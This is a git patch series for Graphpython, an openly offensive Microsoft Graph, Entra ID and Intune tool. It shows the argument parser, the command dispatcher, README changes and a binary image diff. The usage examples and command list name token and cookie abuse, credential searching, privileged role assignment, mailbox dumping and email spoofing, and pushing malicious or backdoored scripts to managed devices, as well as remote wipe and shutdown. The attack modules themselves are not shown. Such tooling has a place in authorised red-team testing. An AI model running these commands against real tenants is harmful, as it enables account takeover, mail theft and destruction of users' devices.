--token token + graphpython --command reboot-device --id --token eyj0... + ''') + ) + parser.add_argument("--command", help="Command to execute") + parser.add_argument("--list-commands", action="store_true", help="List available commands") + parser.add_argument("--token", help="Microsoft Graph access token or refresh token for FOCI abuse") + parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie") + parser.add_argument("--use-cae", action="store_true", help="Flag to use Continuous Access Evaluation (CAE) - add 'cp1' as client claim to get an access token valid for 24 hours") + parser.add_argument("--cert", help="X509Certificate path (.pfx)") + parser.add_argument("--domain", help="Target domain") + parser.add_argument("--tenant", help="Target tenant ID") + parser.add_argument("--username", help="Username or file containing usernames (invoke-userenumerationasoutsider)") + parser.add_argument("--secret", help="Enterprise application secretText (invoke-appsecrettoaccesstoken)") + parser.add_argument("--id", help="ID of target object") + parser.add_argument("--select", help="Fields to select from output") + parser.add_argument("--query", help="Raw API query URL (GET only)") + parser.add_argument("--search", help="Search string") + parser.add_argument("--entity", choices=['driveItem', 'message', 'chatMessage', 'site', 'event'],help="Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)") + parser.add_argument("--device", choices=['Mac', 'Windows', 'AndroidMobile', 'iPhone'], help="Device type for User-Agent forging") + parser.add_argument("--browser", choices=['Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari'], help="Browser type for User-Agent forging") + parser.add_argument("--only-return-cookies", action="store_true", help="Only return cookies from the request (open-owamailboxinbrowser)") + parser.add_argument("--mail-folder", choices=['Allitems', 'inbox', 'archive', 'drafts', 'sentitems', 'deleteditems', 'recoverableitemsdeletions'], help="Mail folder to dump (dump-owamailbox)") + parser.add_argument("--top", type=int, help="Number (int) of messages to retrieve (dump-owamailbox)") + parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript or backdoor-script)") + parser.add_argument("--email", help="File containing OWA email message body content (spoof-owaemailmessage)") + + args = parser.parse_args() + return args, parser + +def main(): + + args, parser = parseArgs() + + available_commands = [ + "invoke-reconasoutsider","invoke-userenumerationasoutsider","get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", "invoke-refreshtovaulttoken", + "invoke-refreshtomsteamstoken", "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", + "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", "invoke-appsecrettoaccesstoken", + "new-signedjwt", "get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", "get-user", "get-userproperties", + "get-userprivileges", "get-usertransitivegroupmembership", "get-group", "get-groupmember", "get-userapproleassignments", "get-serviceprincipalapproleassignments", + "get-conditionalaccesspolicy", "get-personalcontacts", "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", + "get-userchatmessages", "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", + "get-messages", "get-temporaryaccesspassword", "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", + "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", "list-conditionalnamedlocations", "list-sharepointroot", + "list-sharepointsites","list-sharepointurls", "list-externalconnections", "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", + "list-chats", "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", + "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "find-updatablegroups", "find-dynamicgroups","find-securitygroups", + "locate-objectid", "update-userpassword", "add-applicationpassword", "add-usertap", "add-groupmember", "create-application", + "create-newuser", "invite-guestuser", "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", + "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", + "get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", "get-devicecompliancepolicies", "update-deviceconfig", + "get-devicecompliancesummary", "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations","update-userproperties", "dump-windowsapps", "dump-iosapps", "dump-androidapps", + "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "get-scriptcontent", "find-privilegedapplications", "dump-macosapps", "deploy-maliciousweblink", + "get-roledefinitions", "get-roleassignments", "display-avpolicyrules", "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", + "display-firewallrulepolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", "get-appserviceprincipal", + "display-edrpolicyrules","add-exclusiongrouptopolicy", "deploy-maliciousscript", "reboot-device", "shutdown-device", "lock-device", "backdoor-script", + "add-applicationpermission", "new-signedjwt", "add-applicationcertificate", "get-application", "locate-permissionid", "get-serviceprincipal", "grant-appadminconsent" + ] + + if len(sys.argv) == 1: + parser.print_help() + sys.exit() + + if args.list_commands: + list_commands() + return + + if args.command and args.command.lower() in [ + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", + "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", + "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken","invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", + "invoke-refreshtointuneenrollmenttoken", "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", + "get-tokenscope", "decode-accesstoken", "get-manageddevices", "get-userdevices", "get-user", + "get-userproperties", "get-userprivileges", "get-usertransitivegroupmembership", "get-group", + "get-groupmember", "get-userapproleassignments", "get-conditionalaccesspolicy", "get-personalcontacts", + "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", "get-userchatmessages", + "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", + "get-messages", "get-temporaryaccesspassword", "get-password", "get-currentuser", + "get-currentuseractivities", "get-orginfo", "get-domains", "list-authmethods", "list-directoryroles", + "list-notebooks", "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", + "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", "list-sharepointurls","list-externalconnections", + "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", "deploy-maliciousweblink", + "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", + "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "display-firewallconfigpolicyrules", + "find-updatablegroups", "find-dynamicgroups","find-securitygroups", "locate-objectid", "update-userpassword", "add-applicationpassword", + "add-usertap", "add-groupmember", "create-application", "create-newuser", "invite-guestuser", "update-deviceconfig", + "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", "dump-androidapps", + "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", + "get-caps", "get-devicecategories", "display-devicecompliancepolicies", "get-devicecompliancesummary", "dump-macosapps", + "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", "dump-iosapps", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", "grant-appadminconsent", "dump-windowsapps", + "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "update-userproperties", "find-privilegedapplications", + "get-scriptcontent", "get-roledefinitions", "get-roleassignments", "display-avpolicyrules","get-appserviceprincipal", + "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallrulepolicyrules", "backdoor-script", + "display-edrpolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", + "add-exclusiongrouptopolicy","deploy-maliciousscript", "reboot-device", "add-applicationpermission", "new-signedjwt", + "add-applicationcertificate", "get-application", "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: + if not args.token: + print_red(f"[-] Error: --token is required for command") + return + + try: + # Outsider commands + if args.command in ["invoke-reconasoutsider", "invoke-userenumerationasoutsider"]: + getattr(outsider, args.command.replace("-", "_"))(args) + + # Authentication commands + elif args.command in ["get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", + "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", + "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", + "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", + "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", + "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", + "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", + "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", + "invoke-appsecrettoaccesstoken", "new-signedjwt"]: + getattr(auth, args.command.replace("-", "_"))(args) + + # Enumeration commands + elif args.command in ["get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", + "get-user", "get-userproperties", "get-userprivileges", + "get-usertransitivegroupmembership", "get-group", "get-groupmember", + "get-userapproleassignments", "get-conditionalaccesspolicy", + "get-application", "get-personalcontacts", "get-crosstenantaccesspolicy", + "get-partnercrosstenantaccesspolicy", "get-userchatmessages", + "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", + "get-oauth2permissiongrants", "get-messages", "get-temporaryaccesspassword", + "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", + "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", + "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", + "list-sharepointurls", "list-externalconnections", "list-applications", "list-onedriveurls", + "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", + "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", + "list-recentonedrivefiles", "list-sharedonedrivefiles", "get-appserviceprincipal", + "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: + getattr(enum, args.command.replace("-", "_"))(args) + + # Exploitation commands + elif args.command in ["invoke-customquery","invoke-search", "find-privilegedroleusers", "find-privilegedapplications", + "find-updatablegroups","find-dynamicgroups", "find-securitygroups", + "update-userpassword", "update-userproperties", "add-usertap", "add-groupmember", + "create-application", "create-newuser", "invite-guestuser", + "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", + "spoof-owaemailmessage", "add-applicationpermission", "add-applicationcertificate", + "add-applicationpassword", "grant-appadminconsent"]: + getattr(exploit, args.command.replace("-", "_"))(args) + + # Intune enum commands + elif args.command in ["get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", + "get-devicecompliancesummary", "get-deviceconfigurations", + "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", + "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", + "get-devicegrouppolicydefinition", "get-roledefinitions", "get-roleassignments", + "get-devicecompliancepolicies"]: + getattr(intune_enum, args.command.replace("-", "_"))(args) + + # Intune exploit commands + elif args.command in ["dump-devicemanagementscripts","dump-windowsapps", "dump-iosapps", + "dump-androidapps", "dump-macosapps","get-scriptcontent", + "display-avpolicyrules", "display-asrpolicyrules", + "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", + "display-firewallrulepolicyrules", "display-edrpolicyrules", + "display-lapsaccountprotectionpolicyrules", + "display-usergroupaccountprotectionpolicyrules", "add-exclusiongrouptopolicy", + "deploy-maliciousscript", "deploy-maliciousweblink", "backdoor-script", + "update-deviceconfig", "reboot-device", "retire-device", "lock-device", + "shutdown-device"]: + getattr(intune_exploit, args.command.replace("-", "_"))(args) + + # Cleanup commands + elif args.command in ["delete-user", "delete-group", "remove-groupmember", "delete-application", + "delete-device", "wipe-device"]: + getattr(cleanup, args.command.replace("-", "_"))(args) + + # Locator commands + elif args.command in ["locate-objectid", "locate-permissionid"]: + getattr(locators, args.command.replace("-", "_"))(args) + + # ... + elif args.command and args.command.lower() not in available_commands: + print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands") + + except KeyboardInterrupt: + print_red("\n[-] Operation cancelled by user") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred while executing '{args.command}': {str(e)}") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/README.md b/README.md index e95572f..cc0bb26 100644 --- a/README.md +++ b/README.md @@ -63,14 +63,14 @@ Either install via pip: git clone https://github.com/mlcsec/Graphpython.git cd Graphpython pip install . -graphpython +Graphpython -h ``` Or run as before via git and Python3: ``` git clone https://github.com/mlcsec/Graphpython.git cd Graphpython pip3 install -r requirements.txt -python3 graphpython.py +python3 Graphpython.py -h ``` ## Usage From 5ba8f53666ff6cd722a86dbda915e4e315be7daf Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 11:38:18 +0100 Subject: [PATCH 12/37] Update v1.0 --- Graphpython/__main__.py | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/Graphpython/__main__.py b/Graphpython/__main__.py index aa9706f..d063ea7 100644 --- a/Graphpython/__main__.py +++ b/Graphpython/__main__.py @@ -14,21 +14,21 @@ def parseArgs(): formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''\ examples: - graphpython --command invoke-reconasoutsider --domain company.com - graphpython --command invoke-userenumerationasoutsider --username - graphpython --command get-graphtokens - graphpython --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token - graphpython --command get-users --token eyJ0... -- select displayname,id [--id ] - graphpython --command list-recentonedrivefiles --token token - graphpython --command invoke-search --search "credentials" --entity driveItem --token token - graphpython --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token - graphpython --command assign-privilegedrole --token token - graphpython --command spoof-owaemailmessage [--id ] --token token --email email-body.txt - graphpython --command get-manageddevices --token intune-token - graphpython --command deploy-maliciousscript --script malicious.ps1 --token token - graphpython --command backdoor-script --id --script backdoored-script.ps1 --token token - graphpython --command add-exclusiongrouptopolicy --id --token token - graphpython --command reboot-device --id --token eyj0... + Graphpython --command invoke-reconasoutsider --domain company.com + Graphpython --command invoke-userenumerationasoutsider --username + Graphpython --command get-graphtokens + Graphpython --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token + Graphpython --command get-users --token eyJ0... -- select displayname,id [--id ] + Graphpython --command list-recentonedrivefiles --token token + Graphpython --command invoke-search --search "credentials" --entity driveItem --token token + Graphpython --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token + Graphpython --command assign-privilegedrole --token token + Graphpython --command spoof-owaemailmessage [--id ] --token token --email email-body.txt + Graphpython --command get-manageddevices --token intune-token + Graphpython --command deploy-maliciousscript --script malicious.ps1 --token token + Graphpython --command backdoor-script --id --script backdoored-script.ps1 --token token + Graphpython --command add-exclusiongrouptopolicy --id --token token + Graphpython --command reboot-device --id --token eyj0... ''') ) parser.add_argument("--command", help="Command to execute") From 6ca2e854ebc4fd46042d01911ed3b754eeb0e735 Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 12:19:55 +0100 Subject: [PATCH 13/37] Update v1.0 --- .gitignore | 4 ++++ README.md | 6 ++---- 2 files changed, 6 insertions(+), 4 deletions(-) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..4e7a394 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +build/ +dist/ +*.egg-info/ +__pycache__/ diff --git a/README.md b/README.md index cc0bb26..fe5c382 100644 --- a/README.md +++ b/README.md @@ -56,16 +56,14 @@ Graphpython covers external reconnaissance, authentication/token manipulation, e ## Install -> Reformatted entire codebase, more installation options are available now. PyPi install will be supported soon. - -Either install via pip: +Install via git and pip: ``` git clone https://github.com/mlcsec/Graphpython.git cd Graphpython pip install . Graphpython -h ``` -Or run as before via git and Python3: +Or run manually with Python3: ``` git clone https://github.com/mlcsec/Graphpython.git cd Graphpython From 6c817107c283682058f0c7321a60c529931abea5 Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 15:33:13 +0100 Subject: [PATCH 14/37] Update v1.0 --- .github/usage.png | Bin 387682 -> 291599 bytes README.md | 308 +++++++++++++++++++++++----------------------- 2 files changed, 153 insertions(+), 155 deletions(-) diff --git a/.github/usage.png b/.github/usage.png index 8526f1b8c28a53fcac170047f7d4535e4fabc2e7..1f44f22b728ad409562b95b635cb6329118ab928 100644 GIT binary patch literal 291599 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 